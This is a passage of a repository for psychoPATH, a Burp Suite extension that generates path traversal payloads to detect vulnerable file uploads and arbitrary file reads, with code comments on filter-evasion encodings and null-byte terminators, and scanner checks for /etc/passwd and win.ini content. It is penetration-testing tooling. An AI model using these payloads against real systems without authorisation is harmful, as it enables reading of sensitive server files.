├── BappDescription.html
├── BappManifest.bmf
├── Blind_detection_of_path_traversal-vulnerable_file_uploads.pdf
├── Java
├── build.xml
├── manifest.mf
├── psychoPATH.jar
└── src
│ ├── burp
│ ├── BinaryPayloadIssue.java
│ ├── BuildUnencodedRequest.java
│ ├── BurpExtender.java
│ ├── DirectScannerCheck.java
│ ├── Menu.java
│ ├── PsychoPATHScannerCheck.java
│ └── PsychoPATHScannerIssue.java
│ └── uk
│ └── co
│ └── pentest
│ ├── IntruderPayloadGenerator.java
│ ├── IntruderPayloadGeneratorByte.java
│ ├── PayloadFactory.java
│ ├── PsychoPATH.java
│ ├── PsychoPanel2.form
│ ├── PsychoPanel2.java
│ ├── PsychoTab.java
│ ├── SimpleDocumentListener.java
│ └── psychoPayload.java
├── LICENSE
├── README.md
├── TODO
├── build.gradle
├── logo_by_Sponge_Nutter.png
├── perl
├── README
├── get_docroots.pl
└── sample_results.txt
├── screenshots
├── after_propagation.png
├── docroot_groups.png
├── first_run.png
├── intruder_attack_setup.png
├── lfi_hunting_one_1.png
├── lfi_hunting_one_2.png
├── lfi_hunting_one_3.png
├── lfi_hunting_one_4.png
├── lfi_hunting_one_5.png
├── lfi_hunting_three.png
├── lfi_hunting_two.png
├── new_ui.png
├── new_ui2.png
├── new_ui3.png
├── new_ui4.png
├── new_ui5.png
├── new_ui6.png
├── new_ui7.png
├── payload_generators.png
├── payload_one_setting.png
├── payload_two_setting.png
├── propagate.png
├── results_0.png
├── results_1.png
├── verification_case_2_step_1.png
├── verification_case_2_step_2.png
├── verification_case_2_step_3.png
├── verification_case_3_step_1.png
├── verification_case_3_step_2.png
├── verification_case_3_step_3.png
├── verification_step1.png
├── verification_step2.png
├── verification_step3.png
└── verification_step4.png
├── settings.gradle
├── test_cases
├── LFI
│ ├── eight.php
│ ├── eleven.php
│ ├── five.php
│ ├── four.php
│ ├── nine.php
│ ├── one.php
│ ├── seven.php
│ ├── six.php
│ ├── ten.php
│ ├── three.php
│ └── two.php
├── no_traversal_unusual_webroot
│ └── UploadServlet.java
├── uploadbare_traversal_inside_webroot
│ └── UploadServlet.java
└── uploadbare_traversal_outside_webroot
│ ├── META-INF
│ └── MANIFEST.MF
│ ├── UploadServlet.class
│ ├── UploadServlet.java
│ ├── WEB-INF
│ ├── UploadServlet.class
│ └── web.xml
│ ├── do_war.sh
│ ├── images
│ └── 404
│ ├── message.jsp
│ ├── upload.jsp
│ └── uploadbare_traversal_outside_webroot.war
└── usage_examples.pdf
/BappDescription.html:
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1 |
This extension provides a customizable payload generator, suitable for
2 | detecting a variety of file path vulnerabilities in file upload and download
3 | functionality:
4 |
5 | - File upload vulnerable to path traversal with the upload directory located inside the document root.
6 | - File upload vulnerable to path traversal with the upload directory outside the document root.
7 | - File upload not vulnerable to path traversal, but having the upload directory is inside of the document root, with no direct links to the uploaded file exposed by the application.
8 | - Local file inclusion/arbitrary file read vulnerable to path traversal with non-recurrent filters involved.
9 |
10 |
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/BappManifest.bmf:
--------------------------------------------------------------------------------
1 | Uuid: 554059e593ce446585574b92344b9675
2 | ExtensionType: 1
3 | Name: PsychoPATH
4 | RepoName: psycho-path
5 | ScreenVersion: 1.1.1
6 | SerialVersion: 8
7 | MinPlatformVersion: 0
8 | ProOnly: False
9 | Author: Julian Horoszkiewicz, Pentest Ltd.
10 | ShortDescription: A customizable payload generator suitable for detecting a variety of file path vulnerabilities.
11 | EntryPoint: build/libs/psycho-path-all.jar
12 | BuildCommand: gradle fatJar
13 |
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/Blind_detection_of_path_traversal-vulnerable_file_uploads.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PortSwigger/psycho-path/d07baf2e01c9fb33ca1c944ce8f51f446753281d/Blind_detection_of_path_traversal-vulnerable_file_uploads.pdf
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/Java/build.xml:
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1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | Builds, tests, and runs the project psychoPATH.
12 |
13 |
73 |
74 |
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/Java/manifest.mf:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | X-COMMENT: Main-Class will be added automatically by build
3 |
4 |
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/Java/psychoPATH.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PortSwigger/psycho-path/d07baf2e01c9fb33ca1c944ce8f51f446753281d/Java/psychoPATH.jar
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/Java/src/burp/BinaryPayloadIssue.java:
--------------------------------------------------------------------------------
1 |
2 | package burp;
3 |
4 |
5 | public class BinaryPayloadIssue extends PsychoPATHScannerIssue {
6 | private String issueDetail;
7 |
8 | private static final String DETAIL_TEMPLATE = "The target is vulnerable to Arbitrary file read (also improperly called LFI)";
9 |
10 | public BinaryPayloadIssue(IBurpExtenderCallbacks cb,IHttpRequestResponse exploitRR, String details) {
11 | super(cb,exploitRR,details);
12 | issueDetail = DETAIL_TEMPLATE;
13 | }
14 | public void appendIssueDetail(String text)
15 | {
16 | this.issueDetail = this.issueDetail+text;
17 | }
18 | @Override
19 | public String getIssueDetail() {
20 | return issueDetail;
21 | }
22 |
23 | public String getHost() {
24 | throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates.
25 | }
26 |
27 | public int getPort() {
28 | throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates.
29 | }
30 |
31 | public String getProtocol() {
32 | throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates.
33 | }
34 | }
35 |
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/Java/src/burp/BuildUnencodedRequest.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.util.Random;
4 |
5 | public class BuildUnencodedRequest
6 | {
7 | private Random random = new Random();
8 | private IExtensionHelpers helpers;
9 |
10 | BuildUnencodedRequest(IExtensionHelpers helpers)
11 | {
12 | this.helpers = helpers;
13 | }
14 |
15 | byte[] buildUnencodedRequest(IScannerInsertionPoint iScannerInsertionPoint, byte[] payload) throws Exception
16 | {
17 | byte[] canary = buildCanary(payload.length);
18 | byte[] request = iScannerInsertionPoint.buildRequest(canary);
19 | int canaryPos = findCanary(canary, request);
20 | System.arraycopy(payload, 0, request, canaryPos, payload.length);
21 | return request;
22 | }
23 |
24 | private byte[] buildCanary(int payloadLength)
25 | {
26 | // random alphanum string, same length as payload
27 | String chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
28 | byte[] canary = new byte[payloadLength];
29 | for(int i = 0; i < payloadLength; i++)
30 | {
31 | canary[i] = (byte) chars.charAt(random.nextInt(chars.length()));
32 | }
33 | return canary;
34 | }
35 |
36 | private int findCanary(byte[] canary, byte[] request) throws Exception
37 | {
38 | int canaryPos = helpers.indexOf(request, canary, false, 0, request.length);
39 | if(canaryPos == -1)
40 | {
41 | throw new Exception("Cannot locate canary in request");
42 | }
43 | int canaryPos2 = helpers.indexOf(request, canary, false, canaryPos + 1, request.length);
44 | if(canaryPos2 != -1)
45 | {
46 | throw new Exception("Multiple canary found in request");
47 | }
48 | return canaryPos;
49 | }
50 | }
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/Java/src/burp/BurpExtender.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 |
4 | import uk.co.pentest.psychoPATH.PsychoPATH;
5 | import uk.co.pentest.psychoPATH.PsychoTab;
6 | import uk.co.pentest.psychoPATH.PayloadFactory;
7 |
8 | /**
9 | * The main entry class that Burp calls to load/unload the extension.
10 | */
11 | public class BurpExtender implements IBurpExtender, IExtensionStateListener {
12 |
13 | @Override
14 | public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
15 | PsychoPATH.callbacks = callbacks;
16 | callbacks.setExtensionName("psychoPATH Extension");
17 | PsychoPATH.PsychoTab = new PsychoTab();
18 | callbacks.addSuiteTab(PsychoPATH.PsychoTab);
19 |
20 | callbacks.registerExtensionStateListener(this);
21 |
22 | // now we register two intruder extension factories; one for the traversed filename, one for the payload marker
23 | callbacks.registerIntruderPayloadGeneratorFactory(new PayloadFactory(PsychoPATH.PsychoTab, "byte"));
24 | callbacks.registerIntruderPayloadGeneratorFactory(new PayloadFactory(PsychoPATH.PsychoTab, "check"));
25 | callbacks.registerIntruderPayloadGeneratorFactory(new PayloadFactory(PsychoPATH.PsychoTab, "path"));
26 | callbacks.registerIntruderPayloadGeneratorFactory(new PayloadFactory(PsychoPATH.PsychoTab, "mark"));
27 |
28 | callbacks.registerScannerCheck(new DirectScannerCheck(callbacks,PsychoPATH.PsychoTab));
29 |
30 | callbacks.registerContextMenuFactory(new Menu(callbacks));
31 | }
32 |
33 | @Override
34 | public void extensionUnloaded() {
35 | //throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates.
36 | }
37 | public static IBurpExtenderCallbacks getBurpCallbacks() {
38 | return PsychoPATH.callbacks;
39 | }
40 |
41 |
42 | }
43 |
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/Java/src/burp/DirectScannerCheck.java:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | The simple scanner check class for psychoPATH "LFI" mode.
4 | Sends payloads, greps responses.
5 |
6 | /etc/passwd and win.ini are default filenames.
7 | The target OS setting needs to exist in the psychoTab, as it is not the same thing as slashes to use, while there is no point in bashing windows
8 | if we know nix is the remote sys.
9 |
10 | */
11 |
12 | package burp;
13 |
14 | import java.util.List;
15 | import java.util.ArrayList;
16 | import java.net.URL;
17 | import java.util.logging.Level;
18 | import java.util.logging.Logger;
19 | import javax.swing.ListModel;
20 | import uk.co.pentest.psychoPATH.IntruderPayloadGenerator;
21 | import uk.co.pentest.psychoPATH.PsychoTab;
22 |
23 |
24 | public class DirectScannerCheck extends PsychoPATHScannerCheck {
25 |
26 | private PsychoTab tab;
27 | private IBurpCollaboratorClientContext collabClient;
28 |
29 | private List issues;
30 | private IHttpRequestResponse base;
31 | private IHttpRequestResponse attackReq;
32 |
33 |
34 |
35 | public DirectScannerCheck(IBurpExtenderCallbacks cb, PsychoTab tab)
36 | {
37 | super(cb,tab);
38 | this.tab = tab;
39 | checkHttpService = null;
40 | }
41 |
42 | @Override
43 | public int consolidateDuplicateIssues(IScanIssue existingIssue,IScanIssue newIssue) {
44 | return -1;
45 | }
46 |
47 | @Override
48 | public List doActiveScan(IHttpRequestResponse baseRequestResponse,IScannerInsertionPoint insertionPoint)
49 | {
50 | this.issues = null;
51 | if(this.tab.psychoPanel.scannerChecksCheckbox.isSelected()==false) return this.issues; // the "Enable Scanner checks" checkbox
52 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
53 | URL url = reqInfo.getUrl();
54 | int port = url.getPort();
55 | boolean https=false;
56 | String host = url.getHost();
57 | if(url.getProtocol()=="https") https=true;
58 | String urlStr = url.getProtocol()+"://"+url.getHost()+":"+url.getPort()+url.getPath();
59 | if(!createCheckHttpService(host,port,https))
60 | {
61 | callbacks.printError("HTTP connection failed");
62 | callbacks.issueAlert("HTTP connection failed");
63 | return issues;
64 | }
65 | generator = new IntruderPayloadGenerator("path",tab,true);
66 |
67 | while(generator.hasMorePayloads())
68 | {
69 | byte[] payload = generator.getNextPayload(insertionPoint.getBaseValue().getBytes());
70 |
71 | if(payload.length==1)
72 | { //payload generation failed, move onto next command
73 | callbacks.printError("Payload generation failed!");
74 | callbacks.issueAlert("Payload generation failed!");
75 | return this.issues;
76 | }
77 | // To avoid Burp's default behaviour with automatic encoding of insertion points in Scanner
78 | // we replaced "byte [] req = insertionPoint.buildRequest(payload);"
79 | // with new BuildUnencodedRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload))
80 | // as adviced by Paj: https://support.portswigger.net/customer/portal/questions/17301079-design-new-extension-problem-with-buildrequest-and-url-encode
81 | // with his code snippet: https://gist.github.com/pajswigger/c1fff3ce6e5637126ff92bf57fba54e1
82 |
83 | byte [] req=null;
84 | try {
85 | req = new BuildUnencodedRequest(helpers).buildUnencodedRequest(insertionPoint, payload);
86 | } catch (Exception ex) {
87 | Logger.getLogger(DirectScannerCheck.class.getName()).log(Level.SEVERE, null, ex);
88 | }
89 |
90 | //callbacks.printError((new String(req))+"\n\n");
91 | attackReq = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(),req);
92 | byte[] resp = attackReq.getResponse();
93 |
94 | // check the bytes for (depending (or not depending) on the filename in use:
95 | // checking for the presence of the root:x: / win.ini in the response
96 | // ; for 16-bit app support
97 | //[fonts]
98 | //[extensions]
99 | //[mci extensions]
100 | //[files]
101 | //[Mail]
102 | //MAPI=1
103 | String response = this.helpers.bytesToString(resp);
104 |
105 | ListModel scanChecksModel = tab.psychoPanel.scannerMatchRules.getModel();
106 |
107 | // make sure the string is not already on the list
108 | for(int i=0;i(1);
117 | BinaryPayloadIssue issue;
118 | issue = new BinaryPayloadIssue(callbacks,attackReq,"");
119 | this.issues.add((IScanIssue) issue);
120 | return this.issues;
121 | }
122 | }
123 | }
124 | return this.issues;
125 | }
126 | }
127 |
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/Java/src/burp/Menu.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.awt.event.MouseEvent;
4 | import java.awt.event.MouseListener;
5 | import java.util.ArrayList;
6 | import java.util.List;
7 | import javax.swing.JMenuItem;
8 | import uk.co.pentest.psychoPATH.PsychoPATH;
9 |
10 | public class Menu implements IContextMenuFactory {
11 | private IExtensionHelpers helpers;
12 | private IBurpExtenderCallbacks callbacks;
13 |
14 | public Menu(IBurpExtenderCallbacks callbacks) {
15 | helpers = callbacks.getHelpers();
16 | this.callbacks = callbacks;
17 | }
18 | @Override
19 | public List createMenuItems(IContextMenuInvocation invocation)
20 | {
21 | // save selected items host and proto
22 | List menu = new ArrayList<>();
23 | JMenuItem item = new JMenuItem("Propagate to psychoPATH");
24 | item.addMouseListener(new MouseListener() {
25 | @Override
26 | public void mouseReleased(MouseEvent e) {
27 |
28 | IHttpRequestResponse[] selectedItems = invocation.getSelectedMessages();
29 | if(selectedItems.length>0)
30 | {
31 | String host = selectedItems[0].getHttpService().getHost();
32 | String proto = selectedItems[0].getHttpService().getProtocol();
33 | PsychoPATH.PsychoTab.psychoPanel.updateScope(proto,host);
34 | }
35 | }
36 | @Override
37 | public void mouseClicked(MouseEvent e) {
38 | //PsychoPATH.PsychoTab.psychoPanel.logOutput("method called 2"+"\n");
39 | }
40 | @Override
41 | public void mousePressed(MouseEvent e) {
42 | //PsychoPATH.PsychoTab.psychoPanel.logOutput("method called 3"+"\n");
43 | }
44 | @Override
45 | public void mouseEntered(MouseEvent e) {
46 | //PsychoPATH.PsychoTab.psychoPanel.logOutput("method called 4"+"\n");
47 | }
48 |
49 | @Override
50 | public void mouseExited(MouseEvent e) {
51 | //PsychoPATH.PsychoTab.psychoPanel.logOutput("method called 5"+"\n");
52 | }
53 | });
54 | menu.add(item);
55 | return menu;
56 | }
57 | }
58 |
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/Java/src/burp/PsychoPATHScannerCheck.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.util.List;
4 |
5 | import uk.co.pentest.psychoPATH.IntruderPayloadGenerator; // the new payload generator class
6 | import uk.co.pentest.psychoPATH.PsychoTab;
7 |
8 | abstract class PsychoPATHScannerCheck implements IScannerCheck {
9 | protected IBurpExtenderCallbacks callbacks;
10 | protected IExtensionHelpers helpers;
11 | protected IntruderPayloadGenerator generator;
12 | protected IHttpService checkHttpService;
13 | public PsychoPATHScannerCheck(IBurpExtenderCallbacks cb, PsychoTab tab) {
14 | callbacks = cb;
15 | helpers = callbacks.getHelpers();
16 | }
17 | protected boolean createCheckHttpService(String host, int port, boolean https)
18 | {
19 | if((host==null) || ((port<1) || (port>65535)))
20 | {
21 | return false;
22 | }
23 | else if(host.isEmpty() || ((port<1) || (port>65535)))
24 | {
25 | return false;
26 | }
27 | if(checkHttpService==null)
28 | { //HttpService object not yet created, attempt to create
29 | checkHttpService = helpers.buildHttpService(host,port,https);
30 | }
31 | else
32 | {
33 | //HttpService object already created, compare to inputted settings and recreate if different
34 | String currHost = checkHttpService.getHost();
35 | int currPort = checkHttpService.getPort();
36 | String currHttps = checkHttpService.getProtocol();
37 | if(!(currHost.equals(host) && (currPort==port) && (currHttps.equalsIgnoreCase("http"+(https ? "s" : "")))))
38 | checkHttpService = helpers.buildHttpService(host,port,https);
39 | }
40 | return true;
41 | }
42 | @Override
43 | public List doPassiveScan(IHttpRequestResponse baseRequestResponse) {
44 | return null;
45 | }
46 |
47 | @Override
48 | public abstract int consolidateDuplicateIssues(IScanIssue existingIssue,IScanIssue newIssue);
49 |
50 | @Override
51 | public abstract List doActiveScan(IHttpRequestResponse baseRequestResponse,IScannerInsertionPoint insertionPoint);
52 | }
53 |
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/Java/src/burp/PsychoPATHScannerIssue.java:
--------------------------------------------------------------------------------
1 |
2 | package burp;
3 |
4 | import java.net.URL;
5 | import java.util.Properties;
6 | import java.util.Set;
7 |
8 | abstract public class PsychoPATHScannerIssue implements IScanIssue {
9 | //IScanIssue fields
10 | private IHttpRequestResponse[] httpMessages;
11 | private IHttpService httpService;
12 | private String remediationBackground;
13 | private URL url;
14 |
15 | private IBurpExtenderCallbacks callbacks;
16 | private IExtensionHelpers helpers;
17 |
18 | private static String ISSUE_BACKGROUND = "Arbitrary file read";
19 | private static String REM_BACKGROUND = "Don't trust user input.";
20 |
21 | PsychoPATHScannerIssue(IBurpExtenderCallbacks cb,IHttpRequestResponse exploitRR, String details) {
22 | callbacks = cb;
23 | helpers = callbacks.getHelpers();
24 | url = helpers.analyzeRequest(exploitRR).getUrl();
25 | httpService = exploitRR.getHttpService();
26 | httpMessages = new IHttpRequestResponse[] {exploitRR};
27 | ISSUE_BACKGROUND = ISSUE_BACKGROUND + details;
28 | }
29 |
30 |
31 | //IScanIssue methods
32 | @Override
33 | public String getConfidence() {
34 | return "Certain";
35 | }
36 |
37 | @Override
38 | public IHttpRequestResponse[] getHttpMessages() {
39 | return httpMessages;
40 | }
41 |
42 | @Override
43 | public IHttpService getHttpService() {
44 | return httpService;
45 | }
46 |
47 | @Override
48 | public String getIssueBackground() {
49 | return ISSUE_BACKGROUND;
50 | }
51 |
52 | @Override
53 | public abstract String getIssueDetail();
54 |
55 | @Override
56 | public String getIssueName() {
57 | return "Arbitrary file read (psychoPATH)";
58 | }
59 |
60 | @Override
61 | public int getIssueType() {
62 | return 0;
63 | }
64 |
65 | @Override
66 | public String getRemediationBackground() {
67 | return REM_BACKGROUND;
68 | }
69 |
70 | @Override
71 | public String getRemediationDetail() {
72 | return null;
73 | }
74 |
75 | @Override
76 | public String getSeverity() {
77 | return "High";
78 | }
79 |
80 | @Override
81 | public URL getUrl() {
82 | return url;
83 | }
84 | }
85 |
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/Java/src/uk/co/pentest/IntruderPayloadGenerator.java:
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1 | package uk.co.pentest.psychoPATH;
2 |
3 | import burp.BurpExtender;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IIntruderPayloadGenerator;
6 | import java.util.ArrayList;
7 | import java.util.HashSet;
8 | import java.util.Set;
9 | import java.util.logging.Level;
10 | import javax.swing.ListModel;
11 |
12 | /*
13 | * @author ewilded
14 | */
15 | public final class IntruderPayloadGenerator implements IIntruderPayloadGenerator
16 | {
17 |
18 | ArrayList psychopaths; // the final payloads
19 | ArrayList psychopaths_raw; // payloads before output encoding
20 |
21 | ArrayList traversalsToUse; // the building-unit set derived from the configuration
22 | ArrayList psychoPATHs; // the final list of payloads
23 |
24 | //static int pathInstances=0;
25 | int payloadIndex; // counter for the payload mark
26 | String payloadType; // path or mark
27 | byte[] bytes_raw; // byte payloads
28 | ArrayList bytes_out; //
29 | IBurpExtenderCallbacks callbacks = BurpExtender.getBurpCallbacks();
30 | ArrayList directoriesToCheck; // this is for the verification phase
31 | int payloadMarkerLength=7; // the lenght of the payload marker, a fixed length is safer while injecting into images etc.
32 | PsychoTab tab;
33 |
34 |
35 | // the terminators are: {0,32,9,11}; // nullbyte, space, tab (horizontal + vertical)
36 | // if you want more - for full madness fuzzing - disable the terminators, add another holder after the path traversal payload,
37 | // pick 'cluster bomb' and use 'byte' generator instead
38 | // other options include:
39 | // 'moderate' (should be as moderate as 'moderate rebels' LOL)
40 | // 'full-madness' - all combinations for the most exhaustive testing
41 |
42 | //protected String[] spaces={" ","%20","%25%32%65","%u0020","",""};
43 | // plain, URL-encoded, double-URL-encoded, UTF-16, overlong UTF 2-byte, overlong UTF 3-byte // ,overlong UTF 4-byte, overlong UTF 5-byte, overlong UTF 6-byte
44 | // must have the same number of elements, otherwise the non-mixed encoding basic variant will get confused
45 | //. = %u002e, / = %u2215, \ = %u2216
46 |
47 | String[] dots;
48 | String[] slashes;
49 | String[] backslashes;
50 |
51 | String[] terminators;
52 |
53 |
54 | boolean intruder=false; // this is only introduced to make the tool aware of where to use the second file name field
55 |
56 |
57 | ArrayList unitTraversalsToUse;
58 | ArrayList basicTraversals;
59 |
60 | ArrayList slashesToUse;
61 |
62 | protected void addWindows()
63 | {
64 | for(int i=0;i getSlashes(String payload)
88 | {
89 | ArrayList ret =new ArrayList();
90 |
91 | int found_counter=0;
92 | for(int j=0;j getDots(String payload)
106 | {
107 | ArrayList ret =new ArrayList();
108 | int found_counter=0;
109 | for(int j=0;j getNullbytes(String payload) // this returns possible terminators while identifying the encoding based on dots and slashes
123 | {
124 | ArrayList ret =new ArrayList();
125 | int found_counter=0;
126 | for(int j=0;j();
207 | slashesToUse = new ArrayList<>();
208 | basicTraversals = new ArrayList<>();
209 |
210 | Set targetDocroots; // this is a merge of the prefixes and targets
211 | ArrayList brutDocrootSuffixes; // we'll also merge all targets into this
212 | ArrayList traversals;
213 |
214 | PsychoPanel2 panel=this.tab.getUiComponent();
215 | this.psychopaths = new ArrayList<>();
216 | this.psychopaths_raw = new ArrayList<>();
217 |
218 |
219 | // the building-unit set derived from the configuration (encoding-aware)
220 | this.traversalsToUse = new ArrayList();
221 |
222 | // the final list of payloads (encoding-aware)
223 | this.psychoPATHs=new ArrayList();
224 |
225 |
226 | // generate all the payloads and put them into the arr
227 | targetDocroots = new HashSet<>();
228 | brutDocrootSuffixes = new ArrayList<>();
229 | traversals = new ArrayList<>();
230 | // 0) populate traversals and the filename
231 | ArrayList longestTraversals = new ArrayList<>();
232 |
233 |
234 | // PHASE #1:
235 | if(this.tab.psychoPanel.slashesToUse=="win")
236 | {
237 | addWindows();
238 | }
239 | if(this.tab.psychoPanel.slashesToUse=="nix")
240 | {
241 | addUnix();
242 | }
243 | if(this.tab.psychoPanel.slashesToUse=="all")
244 | {
245 | addWindows();
246 | addUnix();
247 | this.basicTraversals.add("..\\/");
248 | this.basicTraversals.add("../\\");
249 | }
250 |
251 | // count pattern: slashesToUse = win x1 /nix x1 /all x4
252 |
253 | for(int i=0;i mixedTraversalsToUse=new ArrayList();
288 |
289 | // OK, this is the 'moderate' mode, can be easily tuned up to provide the 'basic' set as well
290 | // these are the only mixed senacrious that appear to make any sense, there was no point in implementing them in the loop above
291 | // the 'moderate' and 'full-madness' mode will generate a subset of payloads being redundant to this
292 | // unitTraversalsToUse.size()
293 | //for(int j=1;j "../".
440 |
441 | // The purpose of mixed encodings is to bypass such filters by AVOIDING DETECTION of the malicious strings. This concept is based on the scenarios
442 | // whereas input sanitizing is done BEFORE DECODING, or to be more precise, before the last phase of decoding (e.g. some apps mighr decode input twice,
443 | // for the first time before the input is sanitized and then for the second time, before it hits the vulnerable function.
444 | // So:
445 | // 1) %2e%2e%2f is decoded to ../, the sanitizer gets rid of it, end of story.
446 | // 2) %25%32%65%25%32%65%25%32%66 is decoded to %2e%2e%2f, the sanitizer does not get rid of, because it does not decode the string once again itself,
447 | // then the second decoding occurs before the string hits the file operation function -> ../ and we have a traversal.
448 | // This is why the use of different encodings for the whole payload (without mixing!) is quite reasonable (and we are already doing it).
449 |
450 | // Now let's consider the same scenario where MIXED encodings are actually useful.
451 | // E.g. ".%2e%2f/" is not recognized by the input sanitizer, then it gets decoded before use and we get ..//
452 | //
453 | // The only reason for using mixed encodings in anti-nonrecursive payloads is an assumption that we are trying to defeat two separate input filtering
454 | // mechanisms at the same time. It's possible, just less likely.
455 | // So, it would make sense to only encode the elements we are expecting to STAY after the first filter cuts them out
456 | // e.g. if the filter is recursive, but does not perform decodings... but wouldn't such a filter get defeated with a fully encoded string in the first place,
457 | // without any mixing?
458 |
459 | // OK, now I get it. There might be stupid filters that instead of implementing this algorithm:
460 | // 1) decode the string
461 | // 2) check for malicious stuff and reject it or recursively sanitize it
462 | // 3) decode it again
463 | // 4) if the outcome is different from the output from the step 2 (to detect when something was encoded multiple times, e.g. double/triple URL encoding),
464 | // go back to step 2) with the newly decoded string to re-check/re-sanitize it
465 | // if the outcome is identical with the previous result, pass the string (no more sanitization or decoding is needed)
466 |
467 | // they do stupid matching like: check for ../, %2e%2e%2f or %25%32%65%25%32%65%25%32%66 sequences, thus failing to deal with %2e.%2f and the like.
468 |
469 | // Anyway, I still see little to no point in using mixed encodings IN CONCERT with anti-nonrecurrent evasive payloads like ....// to get e.g. .%2e.%2e/%2f,
470 | // but I'm gonna implemented it for for the 'full-madness' mode, which is intended for me and other people who need serious mental help.
471 |
472 |
473 | // Now we load the evasive traversals.
474 | // By the way, this code is supposed to adjust the evasive traversals according to the set of slashes to use ...
475 | // (whether or not we are using backlashes, although we should even as an evasive technique itself,e.g. by introducing "../\" and "..\/"
476 | // as base traversals of both slashes are enabled for use... yeah I just came up with the solution.
477 |
478 | if(this.tab.psychoPanel.evasiveTechniques)
479 | {
480 | this.tab.psychoPanel.stdout.println("Evasive techniques enabled...");
481 | // read and decode the list of currently loaded breakup strings, if there are any
482 | ListModel breakupModel = this.tab.psychoPanel.breakupList.getModel();
483 | ArrayList breakupStrings = new ArrayList<>();
484 | // temporarily add mixedSlashEvasiveTraversals from the panel to the breakupStrings
485 | // we'll implement this properly later on, now I just want more payloads
486 | for(int i=0;i evasiveTraversalsToUse=new ArrayList();
506 | for (int i=0; i
664 | // 3.2) iterate through @brute_doc_root_suffixes ->
665 | // 3.3) iterate through traversals ->
666 | // 3.4) generate psychopaths
667 | }
668 | else
669 | {
670 | this.tab.psychoPanel.stdout.println("LFI mode is enabled...");
671 | }
672 |
673 | // FROM THIS POINT WE START TO ISSUE ACTUAL PAYLOADS
674 |
675 | //this.psychopaths_raw.add(fileName); // ADDPAYLOAD
676 |
677 | for(int i=0;i travSlashes=new ArrayList();
706 | ArrayList travDots= new ArrayList();
707 |
708 | // NOW WE NEED TO DEAL WITH THE FILENAMES AND WEBROOT PATHS IF ANY
709 |
710 | for(int z=0;z nullBytes=this.getNullbytes(this.psychopaths_raw.get(j));
906 | ArrayList nullBytes = new ArrayList();
907 |
908 | // no we add all the nullbytes that make sense
909 | nullBytes.add("%00"); // always add
910 | if(this.tab.psychoPanel.noLiteralNullbyte.isSelected()==false)
911 | {
912 | // add this one only if explicitly selected
913 | nullBytes.add(terminators[0]); // literal NULL, should most likely be skipped in GET, will add a checkbox for this
914 | }
915 |
916 | // any other terminators should be included based on the encoding information in the payload fields
917 |
918 | if(this.psychoPATHs.get(j).encoding1!=0) nullBytes.add(terminators[this.psychoPATHs.get(j).encoding1]);
919 | if(this.psychoPATHs.get(j).encoding2!=0) nullBytes.add(terminators[this.psychoPATHs.get(j).encoding2]);
920 | for(int i=0;i();
938 | this.directoriesToCheck=tab.psychoPanel.genericSuffixes; // we simply steal this list :)
939 | }
940 | }
941 | private String byteToString(byte inputByte)
942 | {
943 | byte[] t = new byte[1];
944 | t[0]=inputByte;
945 | return callbacks.getHelpers().bytesToString(t);
946 | }
947 | @Override
948 | public boolean hasMorePayloads()
949 | {
950 | if("check".equals(this.payloadType))
951 | {
952 | return this.payloadIndex index)
967 | String prefix="";
968 | int ln = this.payloadMarkerLength-Integer.toString(this.payloadIndex).length();
969 | for(int i=0;i bytes_out; //
23 | IBurpExtenderCallbacks callbacks = BurpExtender.getBurpCallbacks();
24 | PsychoTab tab;
25 |
26 | public IntruderPayloadGeneratorByte(PsychoTab tab)
27 | {
28 | this.tab=tab;
29 | this.tab.psychoPanel.logOutput("Byte is being created.");
30 | int byteIndex=0;
31 | this.bytes_out=new ArrayList<>();
32 | /*
33 | "non-alpha";
34 | "alpha";
35 | "non-alpha-print";
36 | "non-alpha-non-print";
37 | "all";
38 | */
39 | //this.bytes_raw=new ArrayList<>();
40 | if("non-alpha".equals(this.tab.psychoPanel.byteGeneratorRange))
41 | {
42 | this.bytes_raw = new byte[194];
43 | // 0-47 48
44 | // 58-64 7
45 | // 91-96 6
46 | // 123-255 133
47 | // 194 all together
48 | for(int i=0;i<48;i++)
49 | {
50 | bytes_raw[byteIndex]=(byte)i;
51 | byteIndex++;
52 | }
53 | for(int i=58;i<65;i++)
54 | {
55 | bytes_raw[byteIndex]=(byte)i;
56 | byteIndex++;
57 | }
58 | for(int i=91;i<97;i++)
59 | {
60 | bytes_raw[byteIndex]=(byte)i;
61 | byteIndex++;
62 | }
63 | for(int i=123;i<256;i++)
64 | {
65 | bytes_raw[byteIndex]=(byte)i;
66 | byteIndex++;
67 | }
68 | }
69 | if("alpha".equals(this.tab.psychoPanel.byteGeneratorRange))
70 | {
71 | // 48-57 -> 10
72 | // 65-90 -> 26
73 | // 97-122 -> 26
74 | // 62 altogether
75 | this.bytes_raw = new byte[62];
76 | for(int i=48;i<58;i++)
77 | {
78 | bytes_raw[byteIndex]=(byte)i;
79 | byteIndex++;
80 | }
81 | for(int i=65;i<91;i++)
82 | {
83 | bytes_raw[byteIndex]=(byte)i;
84 | byteIndex++;
85 | }
86 | for(int i=97;i<123;i++)
87 | {
88 | bytes_raw[byteIndex]=(byte)i;
89 | byteIndex++;
90 | }
91 | }
92 | if("non-alpha-print".equals(this.tab.psychoPanel.byteGeneratorRange))
93 | {
94 | // 33-46 -> 14
95 | // 58-64 -> 7
96 | // 91-96 -> 6
97 | // 123-126 -> 4
98 | // 31 all together
99 | this.bytes_raw = new byte[31];
